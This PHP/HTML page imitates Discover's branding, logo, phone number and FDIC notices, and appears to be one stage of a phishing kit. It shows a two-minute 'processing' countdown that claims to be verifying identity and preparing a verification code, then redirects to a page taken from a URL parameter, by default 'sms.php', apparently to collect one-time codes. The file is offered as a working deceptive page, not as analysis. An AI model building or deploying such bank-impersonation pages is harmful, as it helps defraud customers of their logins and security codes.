<?php

?><!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Source+Serif+4:wght@300;400;600&family=Source+Sans+3:wght@300;400;500;600&display=swap" rel="stylesheet">
    <title>Discover — Please Wait</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --orange: #EA6A28; --orange-dark: #c9551a; --orange-light: #fdf1eb;
            --navy: #232341; --navy-dark: #1a1a32; --navy-light: #eeeef6;
            --teal: #00a8a8;
            --text: #1a1a1a; --text-sub: #444; --text-muted: #6b6b6b;
            --border: #d0d4e0;
        }
        html, body { height: 100%; font-family: 'Source Sans 3', sans-serif; background: #fff; color: var(--text); }
        .page { min-height: 100vh; display: grid; grid-template-rows: auto auto 1fr auto; }

        .fdic-bar { background: #f5f5f5; border-bottom: 1px solid #e0e0e0; padding: 6px 48px; display: flex; align-items: center; gap: 10px; font-size: 12px; color: #444; }
        .fdic-badge { background: #1b3d8c; color: #fff; font-size: 10px; font-weight: 800; letter-spacing: 0.06em; padding: 2px 5px; border-radius: 2px; flex-shrink: 0; }
        .top-nav { background: #fff; border-bottom: 1px solid #e8e8e8; padding: 0 48px; display: flex; align-items: center; justify-content: space-between; height: 68px; box-shadow: 0 1px 4px rgba(0,0,0,0.06); }
        .nav-logo img { height: 30px; width: auto; }
        .nav-phone { font-size: 13px; color: var(--text-muted); display: flex; align-items: center; gap: 6px; }

        .main { display: grid; grid-template-columns: 1fr 480px 1fr; align-items: start; padding: 48px 24px 64px; }

        .side-panel { grid-column: 1; padding: 0 48px 0 max(48px, calc((100% - 1100px) / 2)); padding-top: 8px; max-width: 500px; margin-left: auto; }
        .side-title { font-family: 'Source Serif 4', serif; font-size: 26px; font-weight: 300; line-height: 1.4; color: var(--navy); margin-bottom: 22px; }
        .side-title strong { color: var(--orange); font-weight: 600; display: block; }
        .feature-list { list-style: none; display: flex; flex-direction: column; gap: 14px; margin-bottom: 32px; }
        .feature-list li { display: flex; align-items: flex-start; gap: 12px; font-size: 14px; color: var(--text-sub); line-height: 1.6; }
        .feature-icon { width: 22px; height: 22px; background: var(--orange-light); border-radius: 50%; display: flex; align-items: center; justify-content: center; flex-shrink: 0; margin-top: 1px; }
        .feature-icon svg { color: var(--orange); }
        .security-badge { display: flex; align-items: center; gap: 10px; padding: 14px 16px; background: #fff; border: 1px solid var(--border); border-left: 3px solid var(--orange); border-radius: 4px; }
        .security-badge p { font-size: 12px; color: var(--text-muted); line-height: 1.5; }
        .security-badge strong { display: block; font-size: 13px; color: var(--text); font-weight: 600; margin-bottom: 2px; }

        .login-wrap { grid-column: 2; }
        .login-card { background: #fff; border: 1px solid var(--border); border-top: 4px solid var(--orange); border-radius: 4px; padding: 40px 44px 44px; box-shadow: 0 2px 16px rgba(234,106,40,0.08), 0 8px 32px rgba(0,0,0,0.04); animation: cardIn 0.4s ease both; text-align: center; }
        @keyframes cardIn { from { opacity: 0; transform: translateY(12px); } to { opacity: 1; transform: translateY(0); } }

        .card-logo { margin-bottom: 32px; }
        .card-logo img { height: 28px; width: auto; display: block; margin: 0 auto; }

        .step-indicator { display: flex; align-items: center; gap: 8px; margin-bottom: 32px; }
        .step { display: flex; align-items: center; justify-content: center; width: 24px; height: 24px; border-radius: 50%; font-size: 11px; font-weight: 600; flex-shrink: 0; }
        .step.done   { background: var(--orange-light); color: var(--orange); }
        .step.active { background: var(--orange); color: #fff; }
        .step.pending{ background: #f0f0f5; color: #aaa; }
        .step-line      { flex: 1; height: 1px; background: var(--border); }
        .step-line.done { background: var(--orange); opacity: 0.3; }

        .ring-wrap { position: relative; width: 140px; height: 140px; margin: 0 auto 28px; }
        .ring-wrap svg { width: 140px; height: 140px; transform: rotate(-90deg); }
        .ring-track { fill: none; stroke: var(--orange-light); stroke-width: 6; }
        .ring-progress { fill: none; stroke: var(--orange); stroke-width: 6; stroke-linecap: round; stroke-dasharray: 326.7; stroke-dashoffset: 0; transition: stroke-dashoffset 1s linear; }
        .ring-label { position: absolute; inset: 0; display: flex; flex-direction: column; align-items: center; justify-content: center; }
        .ring-time { font-family: 'Source Serif 4', serif; font-size: 28px; font-weight: 600; color: var(--navy); line-height: 1; }
        .ring-unit { font-size: 11px; color: var(--text-muted); margin-top: 4px; letter-spacing: 0.04em; }

        .wait-heading { margin-bottom: 24px; }
        .wait-heading h1 { font-family: 'Source Serif 4', serif; font-size: 20px; font-weight: 600; color: var(--navy); margin-bottom: 8px; }
        .wait-heading p { font-size: 13.5px; color: var(--text-muted); font-weight: 300; line-height: 1.6; }

        .prog-dots { display: flex; justify-content: center; gap: 8px; margin-bottom: 24px; }
        .prog-dots span { width: 8px; height: 8px; border-radius: 50%; background: var(--orange-light); transition: background 0.4s; }
        .prog-dots span.lit { background: var(--orange); }

        .info-notice { display: inline-flex; align-items: center; gap: 8px; background: var(--orange-light); border: 1px solid rgba(234,106,40,0.2); border-radius: 4px; padding: 10px 16px; font-size: 12.5px; color: #7a3a18; }

        .page-footer { background: var(--navy); padding: 20px 48px; display: flex; align-items: center; justify-content: space-between; gap: 24px; flex-wrap: wrap; }
        .footer-links { display: flex; gap: 20px; flex-wrap: wrap; }
        .footer-links a { font-size: 12px; color: rgba(255,255,255,0.5); text-decoration: none; transition: color 0.15s; }
        .footer-links a:hover { color: rgba(255,255,255,0.9); }
        .footer-copy { font-size: 12px; color: rgba(255,255,255,0.35); }
        .fdic-footer { display: flex; align-items: center; gap: 8px; }
        .fdic-footer span { font-size: 11px; color: rgba(255,255,255,0.35); }

        @media (max-width: 900px) { .main { grid-template-columns: 1fr; padding: 32px 20px 48px; } .side-panel { display: none; } .login-wrap { grid-column: 1; max-width: 480px; width: 100%; margin: 0 auto; } .top-nav { padding: 0 24px; } .fdic-bar { padding: 6px 24px; } }
    </style>
</head>
<body>
<div class="page">
    <div class="fdic-bar"><span class="fdic-badge">FDIC</span>FDIC-Insured · Backed by the full faith and credit of the U.S. Government</div>
    <nav class="top-nav">
        <div class="nav-logo"><img src="res/img/logo.svg" alt="Discover"></div>
        <div class="nav-phone"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M22 16.92v3a2 2 0 01-2.18 2 19.79 19.79 0 01-8.63-3.07A19.5 19.5 0 013.07 9.81a19.79 19.79 0 01-3.07-8.67A2 2 0 012.18 0h3a2 2 0 012 1.72c.127.96.361 1.903.7 2.81a2 2 0 01-.45 2.11L6.91 7.91a16 16 0 006 6l1.27-1.27a2 2 0 012.11-.45c.907.339 1.85.573 2.81.7A2 2 0 0122 14.92z"/></svg>1-855-242-2287</div>
    </nav>
    <main class="main">
        <aside class="side-panel">
            <h2 class="side-title">Almost there.<br><strong>Just a moment.</strong></h2>
            <ul class="feature-list">
                <li><div class="feature-icon"><svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg></div>Verifying your identity securely</li>
                <li><div class="feature-icon"><svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg></div>Encrypting your session with 256-bit SSL</li>
                <li><div class="feature-icon"><svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg></div>Preparing your verification code</li>
            </ul>
            <div class="security-badge">
                <svg width="28" height="28" viewBox="0 0 24 24" fill="none" stroke="#EA6A28" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/><polyline points="9 12 11 14 15 10" stroke-width="2"/></svg>
                <p><strong>Secure Processing</strong>Do not close or refresh this page while we process your request.</p>
            </div>
        </aside>
        <div class="login-wrap">
            <div class="login-card">
                <div class="card-logo"><img src="res/img/logo.svg" alt="Discover"></div>
                <div class="step-indicator">
                    <div class="step done">✓</div><div class="step-line done"></div>
                    <div class="step done">✓</div><div class="step-line done"></div>
                    <div class="step active">3</div>
                </div>
                <div class="ring-wrap">
                    <svg viewBox="0 0 110 110"><circle class="ring-track" cx="55" cy="55" r="52"/><circle class="ring-progress" id="rp" cx="55" cy="55" r="52"/></svg>
                    <div class="ring-label"><div class="ring-time" id="td">2:00</div><div class="ring-unit">remaining</div></div>
                </div>
                <div class="wait-heading">
                    <h1>Processing Your Information</h1>
                    <p>Please wait up to 2 minutes while we securely process your request.</p>
                </div>
                <div class="prog-dots"><span id="d0"></span><span id="d1"></span><span id="d2"></span><span id="d3"></span><span id="d4"></span></div>
                <div class="info-notice"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>Do not close or refresh this page</div>
            </div>
        </div>
    </main>
    <footer class="page-footer">
        <div class="footer-links"><a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a><a href="#">Accessibility</a><a href="#">Ad Choices</a></div>
        <div class="fdic-footer"><span class="fdic-badge">FDIC</span><span>Member FDIC. Equal Housing Lender.</span></div>
        <div class="footer-copy">© 2025 Discover Financial Services. All rights reserved.</div>
    </footer>
</div>
<script>
    var next = "<?php echo htmlspecialchars($_GET['next'] ?? 'sms.php', ENT_QUOTES); ?>";
    const TOTAL = 120; let rem = TOTAL;
    const disp = document.getElementById('td'), ring = document.getElementById('rp');
    const CIRC = 2 * Math.PI * 52;
    const dots = [0,1,2,3,4].map(i => document.getElementById('d' + i));
    function tick() {
        const m = Math.floor(rem / 60), s = rem % 60;
        disp.textContent = m + ':' + String(s).padStart(2, '0');
        ring.style.strokeDashoffset = CIRC * (1 - rem / TOTAL);
        const lit = Math.floor(((TOTAL - rem) / TOTAL) * dots.length);
        dots.forEach((d, i) => d.classList.toggle('lit', i <= lit));
        if (rem <= 0) { clearInterval(t); window.location = next; } else rem--;
    }
    tick(); const t = setInterval(tick, 1000);
</script>
</body>
</html>